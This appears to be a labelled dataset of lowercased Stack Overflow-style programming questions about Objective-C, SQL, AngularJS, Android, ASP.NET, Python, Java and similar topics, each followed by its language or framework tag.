does objective-c have concepts of value/reference type like c#   according to the search on google  looks like it doesn t officially have value/reference type. if it doesn t have  what s the counterparts  what s it called  is it called  obj-c class and non objc-c class  or  static type and dynamic type      however  to me  a nsstring object in obj-c  works  like a reference type in c#. it ll lead to a compiling error  statically allocated instance of objective-c class ...  if to define it without  *    <pre><code>nsstring * pstr = [[[nsstring alloc] init] autorelease]; </code></pre>   some native types  like nsinteger or c struct  which can be created without  *   can i say it  works  like a value type in c#     <pre><code>nsinteger i = 0; </code></pre>,objective-c
how to initialized array value s into another new array  i have array distancelistarray.. 5 km  10 km  15km  20 km  25 km. distancelistarray is of appdelegate.class    distancearray count is 5.    now i do have another array.    which have list of events data ...    eventlistarray is of distanceclass    call eventlistarray. for 5 km its displays 10 events  for 10 km its display 20 events.    now i need to load data for each section from distancelistarray of eventlistarray into another new array.    all arrays s are nsmutablearray.     i hope this makes ambiguity.    please help try to help me out.,iphone
sql to search the entire ms sql 2000 database for a value  i would like to search an entire ms sql 2000 database for one value. this would be to aid development only. keep that in mind when considering this question.     this will get all the table names and the column of the data type i m looking for:   <pre><code>select columns.column_name  tables.table_name from information_schema.columns as columns  join information_schema.tables as tables  on columns.table_name = tables.table_name where columns.data_type =  int    </code></pre>   i was thinking something like this:   <pre><code>-- vars declare @counter int declare @total int declare @table char(128) declare @column char(128) declare @columntype char(128) declare @columnvalue int  -- what we are looking for set @columntype =  int  set @columnvalue = 3 set @counter = 0  -- find out how many possible columns exist select @total = count(*)   from information_schema.columns as columns  join information_schema.tables as tables  on columns.table_name = tables.table_name where columns.data_type = @columntype print cast(@total as char) +  possible columns  while @counter &lt; @total begin     set @counter = @counter +1     -- add magic here end </code></pre>   any ideas     <strong>update</strong> i recently found this <a href= http://www.ssmstoolspack.com/  rel= nofollow noreferrer >tool</a> that works quite well.,sql
angularjs - move functions from controller to service  i am new with angularjs  i did some kind of simple quiz application  above is my controller which holds all logic of application which angular uses:    <pre><code>var myapp = angular     .module( mymodule   [])     .controller( quizcontroller   function ($scope  $http) {          $scope.title =  loading question... ;         $scope.options = [];         $scope.correctanswer = true;          $scope.successcallback = function(data) {             $scope.options = [                 {                     name: data.answera                      chosen:  a                  }                  {                     name: data.answerb                      chosen:  b                  }                  {                     name: data.answerc                      chosen:  c                  }                  {                     name: data.answerd                      chosen:  d                  }             ];             $scope.questionid = data.questionid;             $scope.title = data.title;             $scope.correctanswer = true;         };           $scope.nextquestion = function () {              $scope.title =  loading question... ;             $scope.options = [];              $http.get( /api/quiz )                 .success(function(data) {                     $scope.successcallback(data);                 })                  .error(function () {                      $scope.title =  oops... something went wrong ;                  });         }           $scope.sendanswer = function (questionid  answer) {              $http.post( /api/quiz   {  questionid : questionid   chosenanswer : answer }).success(function (data) {                 $scope.correctanswer = (data === true);                 $scope.nextquestion();             }).error(function () {                 $scope.title =  oops... something went wrong ;             });         };       }); </code></pre>   the next step i want to do is to move some functions to service. the question is how to do this  let s look at nextquestion() function - i would like to move it to service  but this function modify $scope elements (title options) which i won t have access to from service. second problem is that this function calls successcallback() function. it would be great if someone could write a code of example of service which could manage my functions - nextquestion() and sendanswer()  because i am stuck in there    <strong>update</strong>   <pre><code>var myapp = angular     .module( mymodule   [])     .controller( quizcontroller   function ($scope  quizservice) {          $scope.title =  loading question... ;         $scope.options = [];         $scope.correctanswer = true;          $scope.successcallback = function (data) {             $scope.options = data.options;             $scope.questionid = data.questionid;             $scope.title = data.title;             $scope.correctanswer = true;         };           $scope.nextquestion = function () {              $scope.title =  loading question... ;             $scope.options = [];                quizservice.nextquestion().then(function(data) {                   $scope.successcallback(data);                 })                  .catch(function () {                      $scope.title =  oops... something went wrong ;                  });         }           $scope.sendanswer = function (questionid  answer) {             quizservice.sendanswer().then(function (){                 $scope.correctanswer = (data === true);                 $scope.nextquestion();             }).catch(function () {                 $scope.title =  oops... something went wrong ;             });         };       }); </code></pre>  <hr>  <pre><code>/// &lt;reference path= ../controllers/quizcontroller.js  /&gt;   myapp.factory( quizservice   function($http  $q) {      var self = {};      self.nextquestion = function () {         var deferred = $q.defer();         $http.get( /api/quiz ).then(function(data) {             var options = [                 {                     name: data.answera                      chosen:  a                  }                  {                     name: data.answerb                      chosen:  b                  }                  {                     name: data.answerc                      chosen:  c                  }                  {                     name: data.answerd                      chosen:  d                  }             ];              data.options = options;             deferred.resolve(data);         }).catch(function(err) {             deferred.reject(err);         });         return deferred.promise;     };       self.sendanswer = function (questionid  answer) {         return $http.post( /api/quiz   {              questionid : questionid               chosenanswer : answer         });     };      return self; }); </code></pre>   not working - console in developer tools doesn t give any error  there is no data in my page  what to do,angularjs
jquery css positioning  <a href= http://jsfiddle.net/mretchin/jevux/40/  rel= nofollow >http://jsfiddle.net/mretchin/jevux/40/</a>    that s my code.  i m trying to make an input box that takes a number  using the .val() method  and positions the red box with that value with the .css() method.  i can t figure it out...   as lame as this sounds  when i wrote it a few hours ago and debugged it in ie  it worked  but when i got home  the same jsfiddle link wasn t functioning on chrome.  is it just my browser   the code will accept 0 as an attribute  but not anything else.    thanks for helping!,jquery
download button not doing anything in ie and firefox for excel file  i have created a download button   which will download a .xlsx file. the same is working perfectly in chrome   but not doing anything in ie and firefox.  i donot able to understand the exact problem here .   <pre><code>        &lt;nav class= navbar navbar-inverse visible-xs &gt;         &lt;div class= container-fluid &gt;             &lt;div class= navbar-header &gt;               &lt;button type= button  class= navbar-toggle  data-toggle= collapse  data-target= #mynavbar &gt;                 &lt;span class= icon-bar &gt;&lt;/span&gt;                 &lt;span class= icon-bar &gt;&lt;/span&gt;                 &lt;span class= icon-bar &gt;&lt;/span&gt;                                       &lt;/button&gt;            &lt;div&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;/div&gt;&lt;br/&gt;     &lt;div align= center &gt;       &lt;div class= panel panel-default &gt;       &lt;div class= panel-heading &gt;         &lt;h3&gt;&lt; php echo $dirname;  &gt; cities charts &lt; php echo $project;  &gt;&lt;/h3&gt;&lt;button class= col-sm-offset-11 btn btn-success &gt;&lt;a href= /nt_dashboard_withdb/dashboard_additional_information.xlsx  download&gt;download data&lt;/a&gt;&lt;/button&gt;&lt;/div&gt;&lt;/br&gt;&lt;/br&gt;         &lt;div id= bodycontent  class= panel-body &gt;&lt;/div&gt;&lt;/br&gt;&lt;/br&gt;         &lt;/div&gt;     &lt;/div&gt; </code></pre>,html
starting new development with mean stack - should i use angular 2.0   i am on a team that is starting a greenfield project and we are building our architecture on the mean stack.  i am aware that angularjs 2.0 is emerging is a complete rewrite.  i have no issue with being aggressive if it is practical to do so as it will protect our software investment.  is it practical to use 2.0 at this time or should we stick with 1.3   are there any mean - angular examples available     thanks  tim,angularjs
how to replace objective-c 2.0 class method implementation in runtime  i have used class_replacemethod function and it works good with instance methods  but i it doesn t work with class method replacement.    has anybody idea why and what should i do to replace class method implementation,objective-c
confused by message expression and pointer method in objective c  i have basic objective c questions.    first look at the following 3 lines. second line is getting property using pointer variable(string_ptr) third line is a message expression using pointer variable(string_ptr)   <pre><code>nsstring *string_ptr = [[nsstring alloc] initwithstring:@ 123 ]; string_ptr.absolutepath; [string_ptr isabsolutepath]; </code></pre>   i want to know whether every property can be accessed by  .  (dot) like second line or not     i also want to know whether any property(not method) can be directly accessed by message expression or not.    i also want to know whether any method can be called with  .  (dot) like c++ function or not.    because i think i have called some function of some class like following before  but i forgot its example. so i am curious about what is actual difference with message expression and calling method with  . (dot).   <pre><code>obj.aaaamethod; </code></pre>,objective-c
how to find if cocoapods is installed in my mac  can anyone help to find if cocoapod is installed in my machine. i was trying to use google map in my application. so i was asked to install cocoapods. could any one help me explain me the purpose.,ios
how to browse for a text/doc file in android and the get the path of the file chosen   i am developing an app in which i have to a editview. i need to browse for text/doc files from my file system on android device to display the path of the file chosen. how can i do that,android
mfmessagecomposeviewcontroller:cansendtext: returns true if no sim present  if i take the sim out of my iphone then call [mfmessagecomposeviewcontroller cansendtext]  it returns true  but obviously the device is not capable of sending smss.    is this a bug or known behavior of this function     given this behavior  is there a workaround to know if the sms cannot be sent as there s no sim,ios
templateurl not rendering when modal opened from iframe  i have a situation in the application  where i want to load an already available modal  in an iframe of another application using the same codebase. for this i have used the following code :    <strong>new-user-module.js</strong>   <pre><code>(function () {  use strict ;  angular     .module( mo.pages.new-user.layouts   [ ui.router    ui.bootstrap    mo.pages.new-user.services ])     .config([ $stateprovider   newuserrouteconfiguration]);  function newuserrouteconfiguration($stateprovider) {     $stateprovider         .state( new-user   {             url:  /new-user               onenter: [                  mo.pages.new-user.services.newuserpageservice   function (newattachmentpageservice) {                     newattachmentpageservice.openattachmentmodal();                 }             ]         }); }})(); </code></pre>   <strong>new-user-service.js</strong>   <pre><code>(function () {   use strict ;  angular     .module( mo.pages.new-user.services )     .service( mo.pages.new-user.services.newuserpageservice   newuserpageservicefactory);  newuserpageservicefactory.$inject = [      $stateparams        $modal  ];  function newuserpageservicefactory($stateparams  $modal) {     var service = {         openusermodal: openusermodal     };      return service;      function openusermodal() {         return function () {             $modal.open({                 templateurl:  modules/pages/shared/modals/new-user/new-user-modal.html                   controller:  mo.pages.shared.modals.newusermodalcontroller as vm                   windowclass:  new-user-modal                   resolve: {                     headertext: function() {                         return  header ;                     }                 }                  backdrop:  static                   size:  lg              });         };     } }})(); </code></pre>   the issue  i am facing is that  the modal is loading  when the  /new-user  is getting called in the iframe  but the templateurl is not loading.,angularjs
my asp.net counter did not work  i have a counter for counting reserved seats . i want when seat count is going over 2 the website give an error to the client . but this counter did not work . the client can reserve over 2 seat and its bad .please help me .    <pre><code>    protected void btn_next_click(object sender  eventargs e) {      int t = 0;     int c = 0;  if(t&lt;=2){      string seatname;     string seatnumber;      seatname = dropdownlist1_seatname.selecteditem.tostring();     seatnumber = dropdownlist2_seatnumber.selecteditem.tostring();      //چک کردن انتخاب نکردن دو صندلی تکراری توسط یک نفر     string strquery =  select count(*) from singleseattable where seatnumber=@seatnumber ;      sqlconnection connection2 = dbconnection.getconnection();     connection2.open();     sqlcommand cmd2 = new sqlcommand();     cmd2.connection = connection2;     cmd2.commandtext = strquery;      cmd2.parameters.add( @seatnumber   seatnumber);      int introwcount1 = (int)cmd2.executescalar();     connection2.close();       if (introwcount1 == 1)     {         messages mymsg = new messages(); // ایجاد نمونه از کلاس         mymsg.createmessagealert( صندلی رزرو شده است . صندلی دیکری انتخاب نماییدو یا در صورت رزرو تمامی صندلی ها میز و شماره صندلی را دیگری انتخاب نمایید. );      }       else     {         /////////////////////counter         //   int t = 0;         //  int c = 0;          //  if(t&lt;=2){          string strquery =  insert into [singleseattable](seatnumber tablename eventcode reserved customer_id)  +  values(@seatnumber @tablename @eventcode @reserved @customer_id) ;          sqlconnection connection = dbconnection.getconnection();         connection.open();         sqlcommand cmd = new sqlcommand();         cmd.connection = connection;         cmd.commandtext = strquery;          string cis = session[ customerid ].tostring();         /******query no.1********/         cmd.parameters.add( @seatnumber   seatnumber);         cmd.parameters.add( @tablename   seatname);         cmd.parameters.add( @eventcode    100 );         cmd.parameters.add( @reserved    1 );         cmd.parameters.add( @customer_id   cis);          cmd.executenonquery();         connection.close();         response.redirect( reservationsucces.aspx );         t = c++;         // t = c++;         //  }     }        }            else         {             messages mymsg = new messages(); // ایجاد نمونه از کلاس             mymsg.createmessagealert( ظرفیت رزرو شما پر شده است . شما نمی توانید بیش از دو صندلی انتخاب نمایید );         }          } </code></pre>,asp.net
is it bad practice to make up my own html attributes   i have been playing around with custom html attributes  for item-id s and things like that  and using it to make my code more readable (for me).  it s a decent enough trick  but i could just as easily user data-id attribute instead.  i just was wondering if there is a legitimate reason why it would be bad to do something like that.    example:    <pre><code>&lt;input type= submit  value= submit  custom-item-id= 137  /&gt; </code></pre>   thanks!,html
anything to attend when changing values in a multidimensional foreach() loop   i got a site that executes the following code   <pre><code>    $keywords = ($_session[$_post[ ts ]]);      print_r($keywords);      foreach ($keywords as $keyword) {         foreach ($keyword[ whitelist ] as $entry) {             foreach ($_post as $key =&gt; $value) {                 if ($key == $entry[ encoded_url ]) {                     $entry[ ignore ] = $value;                     $decodedurl = $this-&gt;base64-&gt;url_decode($entry[ encoded_url ]);                     if ($value ==  noignore ) {                         echo  found!&lt;br /&gt; ;                         $this-&gt;blacklist_model-&gt;remove($decodedurl);                         $html = $this-&gt;analyse-&gt;gethtml($decodedurl);                         $entry[ html ] = $html[0];                         $entry[ loading_time ] = $html[1];                     }                     if($value ==  alwaysignore ) {                         $this-&gt;blacklist_model-&gt;add($decodedurl);                     }                 }             }         }     }      print_r($keywords); </code></pre>   the output looks like this: <a href= http://pastebin.com/b3ptrqjb  rel= nofollow >http://pastebin.com/b3ptrqjb</a>    so  as you see  there are several  found! s in the output  so the if clause actually gets executed a few times and i expected the second array to contain new data like  html   but  as you see  nothing changes. is there anything to attend when changing values in multidimensional foreach() loops,php
angular.js - had to use $apply() even though a $digest() was already in progress -why   in my angular.js service  i had to use <code>$rootscope.$apply()</code> so the scope primitive values would update in the view.   <pre><code>  function scopemutatesuccess(modalinstance  state){     //always worried about name collisions  so not      //useing $ to be safe     modaleventconfig.statustype =  success ;     modaleventconfig.nodestatus =  completed successfully ;     $rootscope.$apply();     settimeout(function() {       return modalinstance.close();     }  time_close_modal);     state.forcereload();   } </code></pre>   for learning...i am curious:    1) <code>$digest()</code> is cheaper than <code>$apply()</code> since it is just to local scope...but would this matter on <code>$rootscope</code> since it would transverse down to all child scopes     2) for experimenting  i tried <code>rootscope.$digest()</code> and i got a error message saying a digest was already in progress. if this is so-   <ul> <li>a) why didn t this error occur when <code>$apply()</code> was used since it also calls <code>$digest()</code>.</li> <li>b) since  a <code>$digest()</code> is already in progress  why did i have to use <code>$apply()</code> to make the view update with the new scope member values </li> </ul>,angularjs
trying to copy a specific folder to another location:the main folder name changes however subfolder nam remains same  i am trying to achieve the following the following in python:    i need to be able to copy and entire subfolder contents to another folder. however  i am not able to define the source path as the name of the main folder would change.    source: c:\user\week1\day1\desiredfolder         c:\user\week1\day2\desiredfolder    destination: c:\user\output\desiredfoldercontents    in this case i should be able to copy the desired folder contents to the destination folder.    i am a novice to python and any help would be most appreciated.    thank you!    please find my code below.thank you for your help   <pre><code>   import os    import shutil    fullpath = os.path.join    start_directory2 =  d:\\recs graphs\\graphs weekly\\week 2\\          desiredfolder2= d:\\recs graphs\\weekly data\\week 2\\desiredfolder\\    def main():    for dirname dirnames  filenames in os.walk(start_directory2):       for filename in dirnames:         source = fullpath(dirname filename)         if dirname.startswith( desiredfolder_name ):            shutil.copytree(source desiredfolder2)         if __name__ ==  __main__ :          main() </code></pre>,python
assigning the whole array values to another variable in c#   i have an array and i want to assign it to another array variable. here is the code   <pre><code>for (int i = 0; i &lt; length; i++)         {             arr1[i] = convert.tobyte(tag_uid.substring(2 * i  2)  16);         }            //create an array to hold the command packet         byte[] commandpacket = new byte[9];           commandpacket[0] = arr1;   //error: cannot convert type byte[] to byte </code></pre>   how can i assign the whole array values to <code>commandpacket[0]</code>,c#
delete a specific field from a database  how can i delete the value of a field from a database  using query code  i only know where the field is located in the database. (ex: column[ phone number ]row[3])    it should be something like this <code> delete from ...  where ... </code>,sql
android emulator unable to run the app  i am trying to run my app on emulator  but it is unable to run the app. it is showing  launching appname  in progress bar but unable to run on emulator. please help me  i tried a lot. but not working. <img src= https://i.stack.imgur.com/4ij6d.png  alt= enter image description here >,android
native javascript equivilent of text() for single selected element  how would i return <code>some text</code>  <code>&lt;a href= abc.html &gt;some anchor&lt;/a&gt;</code>  and <code>&lt;img src= abc.jpg  /&gt;</code> from the following three elements without using jquery   in other words  how would i return <code>$( #t1).text()</code>  <code>$( #t2).text()</code>  <code>$( #t3).text()</code> without using jquery   i don t need to return an array if multiple elements as i will only select one element at a time.   <pre><code>&lt;td id= t1 &gt;some text&lt;/td&gt; &lt;td id= t2 &gt;&lt;a href= abc.html &gt;some anchor&lt;/a&gt;&lt;/td&gt; &lt;td id= t3 &gt;&lt;img src= abc.jpg  /&gt;&lt;td&gt; </code></pre>   jquery does text() as follows. it seems overkill since i am not worried about returning an array for multiple elements.   <pre><code>text: function( value ) {     return jquery.access( this  function( value ) {         return value === undefined               jquery.text( this ) :             this.empty().append( ( this[0] &amp;&amp; this[0].ownerdocument || document ).createtextnode( value ) );     }  null  value  arguments.length ); }  </code></pre>   thanks,javascript
when building an index of items  how to show which a user has liked/starred  in rails 4/5  i m trying to show a list of items  and if the searching user has liked or saved any of these items  then to display that somewhere on my index. this is similar to social networks showing a feed of posts and allowing me to see whether i ve already liked the post  or showing a list of items and marking whether i ve saved any of the items on the list.    for a simple example  imagine that i have a <code>user</code>  a <code>post</code>  and a <code>likedpost</code> join model. users can create posts  and then other users can like those posts. as a user  i can look through posts and also see if i ve liked one of those posts.    in theory  something like this should work:   <pre><code>@posts = post.includes(:liked_posts)              .where( liked_posts.user_id =     current_user.id)              .references(:liked_posts) </code></pre>   but that actually performs a query that <strong>only</strong> shows me posts which i ve liked. other posts are filtered out.    i m having a strangely hard time finding anything relevant online  and what i am able to find basically comes down to  you ll need to write the sql.  any tips/advice,ruby-on-rails
sql join with where and limit  i am trying to figure out how to:   <pre><code>- select 10 random jobs  - join the default jobs location name - join the default jobs sector name </code></pre>   for each joining table i have added <code>_default</code> if the job has more than one location for example.     i have the following database structure.  <img src= https://i.stack.imgur.com/krtfq.png  alt= enter image description here >    the problem i am having is that this query is returning the same jobs more than once.    <pre><code>select j.job_id  j.job_name  j.job_uri  j.job_image1  s.section_name as section from jobs j left join job_sectors js on j.job_id = js.job_id left join sectors s on s.sector_id = js.sector_id where j.job_featured =  1  and j.job_status =  enabled  order by rand() limit 10 </code></pre>,sql
set orientation with viewdidappear  i ve overridden an initial app view s navigation controller so that the view is set to load in portrait mode and not rotate (other views in the app do rotate to display both portrait and landscape views- but this initial one doesn t.):   <pre><code>@implementation customnavigationcontroller  - (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {     // return no;     // return yes for supported orientations      return (interfaceorientation != uiinterfaceorientationmaskportrait); }  - (uiinterfaceorientationmask)supportedinterfaceorientations{     // return a bitmask of supported orientations. if you need more      // use bitwise or (see the commented return).     return uiinterfaceorientationmaskportrait;     // return uiinterfaceorientationmaskportrait | uiinterfaceorientationmaskportraitupsidedown; }  - (uiinterfaceorientation) preferredinterfaceorientationforpresentation {     // return the orientation you d prefer - this is what it launches to. the     // user can still rotate. you don t have to implement this method  in which     // case it launches in the current orientation     return uiinterfaceorientationportrait; }  - (bool)shouldautorotate {     return no; } </code></pre>   this works great on initial load  my problem is however that within the app other views can potentially be seen in landscape orientation. if a user visits one of these landscape views and then returns to the initial app home page form this view then the initial home page gets brought into view in landscape orientation (i need this to always be in portrait.)    is there a way to force the initial view to return to portrait orientation with viewdidappear always return the view to portrait orientation     thanks     matt,ios
"link my logo to homepage  i am trying to make my logo clickable to go back to the homepage but can t seem to get it to work. any help appreciated...    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!-- logo begin --&gt; 
  &lt;div id= logo &gt;
  &lt;a href= index.html &gt;
  &lt;img class= logo logo_dark_bg  src= images/logo.png  alt= / &gt;
  &lt;img class= logo logo_light_bg  src= images/logo_light.png  alt= / &gt;
  &lt;/a&gt;
  &lt;/div&gt;
  &lt;!-- logo close --&gt;</code></pre>
 </div>
 </div>",html
java application crashing down  i made a simple library management application in java. when i run it and enter a title of a book for e.g.  java : how to program  it crashes. but if i just enter  java  instead of  java : how to program   things work well.     what is wrong   please help.   <pre><code>import java.io.file; import java.io.fileinputstream; import java.io.filenotfoundexception; import java.io.fileoutputstream; import java.io.ioexception; import java.io.objectinputstream; import java.io.objectoutputstream; import java.util.scanner;  public class mainsystem {  static string filename = null; static library lib = new library(); static scanner in = new scanner(system.in); static boolean running = true;  public static void main(string[] args) {     while (running) {         system.out.println( \nenter 0 for load a library.                  +  \nenter 1 for save and quit                  +  \nenter 2 for list all books in library                  +  \nenter 3 for add book to library );          int answer = in.nextint();         switch (answer) {         case 0:             system.out.println( enter the file name to load );             loadscript(in.next());             break;          case 1:             saveandquit();             break;         case 2:             system.out.println(lib.tostring());             break;         case 3:             addbook();             break;         }     }     system.exit(0); }  private static void addbook() {     // todo auto-generated method stub     int isbn;     string title  author;     double price;      system.out.println( \nenter title:  );     title = in.next();      system.out.println( \nenter author:  );     author = in.next();      system.out.println( \nenter isbn:  );     isbn = in.nextint();      system.out.println( \nenter price:  );     price = in.nextdouble();      book b = new book(isbn  title  author  price);     lib.addbook(b); }  private static void saveandquit() {     // todo auto-generated method stub     system.out.println( enter file name:  );     filename = in.next() +  .ser ;     running = false;     fileoutputstream fos = null;     objectoutputstream out = null;     try {         fos = new fileoutputstream(filename);         out = new objectoutputstream(fos);         out.writeobject(lib);         fos.close();         out.close();     } catch (filenotfoundexception e) {         // todo auto-generated catch block         e.printstacktrace();     } catch (ioexception e) {         // todo auto-generated catch block         e.printstacktrace();     }  }  private static void loadscript(string name) {     // todo auto-generated method stub     fileinputstream fis = null;     objectinputstream in = null;     file file = new file(name +  .ser );     if (file.exists()) {         try {             fis = new fileinputstream(file);             in = new objectinputstream(fis);             lib = (library) in.readobject();             fis.close();             in.close();          } catch (ioexception e) {             // todo auto-generated catch block             e.printstacktrace();         } catch (classnotfoundexception e) {             // todo auto-generated catch block             e.printstacktrace();         }      } else {         system.out.println( \nthe file does not exist! );     } }  } </code></pre>,java
reset page layout after body tag is overwritten  i have page that automatically once the window height falls beneath a certain size (450px).    question is - how do i retain the content once the window height goes above a certain size (450px).    i ve tried <code>.remove</code> but it doesn t work.    <strong>code:</strong>   <pre><code>$(window).resize(function() {     if ($(window).height() &lt; 450) {         $( body ).html( please resize your screen. );     }     else {         $( body ).remove(this);     } }); </code></pre>   jsfiddle: <a href= http://jsfiddle.net/zyl6fyvn/1/  rel= nofollow >http://jsfiddle.net/zyl6fyvn/1/</a>,jquery
how can i find an element using tabindex - javascript not jquery  i am trying to move focus to the next element after data is entered in one element.    how can i get the next element using tabindex and move focus.    i am using scanner for data entry. so one second delay on key up will tell  data entered or not. as it is scanner  no browser tabbing by user .   <pre><code>&lt;tr&gt; &lt;td class= form   align= center &gt; &lt;input type= text  tabindex=1 onkeyup= movenext(this);  id= from  name= elem1  size= 5   value=  &gt;    &lt;/td&gt;     &lt;td class= form   align= center &gt;&lt;input type= text  tabindex=2   onkeyup= movenext(this);  id= item  name= elem2  size= 5   value=  &gt;   &lt;/td&gt;     &lt;td class= form  align= center  &gt;   &lt;input  type= text  tabindex=3   id= calc_price  size= 10   name= elem3  value=  &gt;  &lt;/td&gt; &lt;/tr&gt; </code></pre>   i saw some answers. all in jquery . how can i do that in  javascript,javascript
ruby on rails activerecord::subclassnotfound in carscontroller#create invalid single-table inheritance type: race car is not a subclass of car  <a href= https://i.stack.imgur.com/qayzh.png  rel= nofollow noreferrer >help here ruby on rails activerecord::subclassnotfound in carscontroller#create</a>,ruby-on-rails
dropdownlist box not passing the selected text in asp.net  i am trying to create a webform with a drop down list box in which the items are populated dynamically  when the form is loaded  i want to pass the text selected by the user to another page. but the first value in the drop down list box is getting passed irrespective of the selected text. how do i pass the value selected by the user     thanks in advance,asp.net
stop webpage-processing  i have built an asp.net page that returns an image with <code>response.binarywrite()</code>. this works fine but i have the following quesion.    i call <code>response.binarywrite()</code> in the page_preload-event. i expect  that asp.net continues with the  normal  execution of the page till to <code>unload</code> event  doing a lot of stuff that is no more necessary because all desired operation is already done. am i right  and if yes  is there a possibility to tell asp.net that further processing is no more necessary for the page.     <strong>update:</strong>    thanks for all the answers. as suggested  i have used an ashx-handler  it was excactly what i needed. thanks to all and +1 for all answers of this direction. for all who have the same question as i  the link from david stratton shows a very simple way of how to do it.,asp.net
return records that do not have a value in a certain field  i have a jira system that we need to do some user cleanup for. i m blanking out on how to write this particular query. the table in question looks like this  where child_id is a username and parent_id is a group name.   <pre><code>child_id   |   parent_id ============================= jane          admins jane          users john          users </code></pre>   so there are multiple records per person; one for each group they belong to. i need to return a list of child_id values that <em>don t</em> have a record for the admin group - so for the example  i d want to return john only.    i ve tried <code>select child_id from my_table where parent_id &lt;&gt; admins</code>  but that still returns the jane record for the users group. i know this is something i ve done before  but can t seem to remember how  and can t even figure out how to word a google search for this.,mysql
maximum number of threads in a jvm   what are the maximum number of threads which can be maintained by the java virtual machine     i did not explain this in my original question  but i am trying to benchmark the jvm and would like to try and see how many threads it can concurrently maintain.     creating threads in a loop until an exception is thrown is an option  however  i would like to know if there is a better way to do this.,java
what iphone apis are available for internet-based matchmaking games   i have a pretty basic challenge-based iphone game  and i wanted to know what my options are for player discovery &amp; matchmaking. i may end up rolling my own server  but if i don t have to  even better.    so far  i ve found <a href= http://openfeint.com  rel= nofollow noreferrer >openfeint</a> and <a href= http://scoreloop.com  rel= nofollow noreferrer >scoreloop</a>  but i don t really care about the social part or discovering other games  i just want a simple system with matchmaking  win/loss  and global rankings. <a href= http://www.cocoslive.net/  rel= nofollow noreferrer >cocoslive</a> has the global ranking part  but not the matchmaking.    also just found <a href= http://www.jenkinssoftware.com/index.html  rel= nofollow noreferrer >raknet</a>.    thanks.,iphone
how to implement iphone contact app edit transition effect   i d like to reproduce the animation effect that the contact app uses when switching to edit mode. specifically i have a number of fields that i d like to display in a more friendly format  but then expand them into a layout that makes them easier to update or add when in edit mode.    is this done using core animation     thanks,iphone
rails routing with a parameter that includes slash(/)  i would like to set the routings as follows   <ul> <li><code>/url/http://google.com</code> to <code>urls</code> controller and <code>index</code> action.</li> </ul>   what i have now in <code>routes.rb</code> is:   <pre><code>match  urls/:url  =&gt;  urls#index  </code></pre>   the routing doesn t seem to work because the slashed in <code>:url</code>.,ruby-on-rails
is .net framework free for commercial use   we have a client who wants us to prove him that we have the right to distribute the .net framework along with our application.    can someone help me out  does microsoft have any link where they clearly say it is free to use for commercial purposes,.net
i wish to change the layout height of collapsing toolbar in oncreate  can someone help me with that   this is my code and i wish to change the layout height  i have tried setting with layoutparams but its not working.   <pre><code>        &lt;android.support.design.widget.collapsingtoolbarlayout             android:id= @+id/collapsing_toolbar_prof_pagev2              android:layout_width= match_parent              android:layout_height= 370dp              android:background= @color/nodd_blue              android:fitssystemwindows= true              app:contentscrim=  attr/colorprimary              app:expandedtitletextappearance= @android:color/transparent              app:layout_scrollflags= scroll|exituntilcollapsed &gt; </code></pre>,android
why doesnt the ng-show obey the field.$invalid condition  i need a form to show an error when it is dirty and is invalid according to a regex pattern how ever this does not seem to work. even though the invalid class is there when checked from inspect element    <pre><code>&lt;form name= billingaddress &gt;   &lt;input type= text  ng-model= billingaddress.firstname  name= firstname  ng-pattern= namergx  required/&gt;   &lt;label ng-show= billingaddress.firstname.$invalid &amp;&amp; billingaddress.firstname.$dirty &gt;invalid&lt;/label&gt; &lt;/form&gt; </code></pre>   <a href= http://plnkr.co/edit/1z3tne9kcqyadpgqzcyr p=preview  rel= nofollow >plunkr</a>,angularjs
regarding the display of parameters in url <pre><code>using system; using system.collections.generic; using system.linq; using system.web; using system.web.mvc; using vidly1.models;  namespace vidly1.controllers {     public class moviescontroller : controller     {         // get: movies         public actionresult random()         {             var movie = new movie() { name =  shrek!  };             //return view(movie);             //return content( hello world );             //return httpnotfound();             //return new emptyresult();             return redirecttoaction( index    home   new { page= 1  sortby =  name  });         }     } } </code></pre>   in the code above when i run the application i dont see the parameters in the url. i am new to .net and any help would be appreciated.     thanks :),.net
would like to use .fadeto elegantly  here s what i ve got far  which works:   <pre><code>var x = $( #myid input:checked ).length; if (x) {     $( input[name=save] ).show(); } else {     $( input[name=save] ).hide(); } </code></pre>   what i d like to do is write this elegantly using the .fadeto method.   <pre><code>$( input[name=save] ).fadeto(y) </code></pre>   where y=1 if x > 0 and y=0 if x = 0.,jquery
how to get listitem text in onitemclick listener   i have created a list view and i have added some item  can anybody help me to get the item text in on item click listener    <pre><code>lv.setonitemclicklistener(new onitemclicklistener() {         public void onitemclick(adapterview &lt;  &gt; parent  view view              int position  long id) {             object o = parent.getitematposition(position);             string keyword = o.tostring();             log.v( value     result is   + keyword);          }     }); </code></pre>   i have tried the above code but it does not work...,android
how do i merge text and html mvc   i have two phone numbers and would like to have the home phone on one line and work phone on the other.  this is what i have so far...   <pre><code>$tr.find( .phone ).text($( #txtprophphone ).val()) +  &lt;br /&gt;  + $( #txtpropwphone ).val()); </code></pre>   the .html is still not working... how do i fix this,jquery
issue splitting in python  the goal is to  get the text after  %  and before  -- .    however sometimes text is being cut off before  --   like at a random letter. why is this not working properly  thank you in advance! ps using python 3.5.        <pre><code>if destiny== fortune :     fortuneformat= fortune_print.split( % )[-1]      print (fortuneformat)     _1_fortuneformat= fortuneformat.split( -- )[0]      fortunesay = str(_1_fortuneformat) </code></pre>   fyi:   <pre><code>fortune_print= get_random_fortune( quotes1.txt ) </code></pre>   and here is the function used to get a fortune.   <pre><code>def get_random_fortune(fortune_file):             get a random fortune from the specified file. barfs if the corresponding     ``.dat`` file isn t present.byt     :parameters:         fortune_file : str             path to file containing fortune cookies     :rtype:  str     :return: the random fortune             fortune_index_file = fortune_file +  .dat      if not os.path.exists(fortune_index_file):         print(  can\ t find file  %s   % fortune_index_file)      fortuneindex = open(fortune_index_file   rb )     data = pickle.load(fortuneindex)     fortuneindex.close()     randomrecord = random_int(0  len(data) - 1)     (start  length) = data[randomrecord]      f = open(fortune_file   ru )     f.seek(start)     fortunecookie = f.read(length)     f.close()     return fortunecookie </code></pre>   example input of a fortune from the text file that is providing input:   <pre><code>% the nsa knows what you did last summer. but no one  in the nsa or outside it  knows why they should.      -- shlomi fish     -- nsa facts by shlomi fish and friends ( http://www.shlomifish.org/humour/bits/facts/nsa/ ) 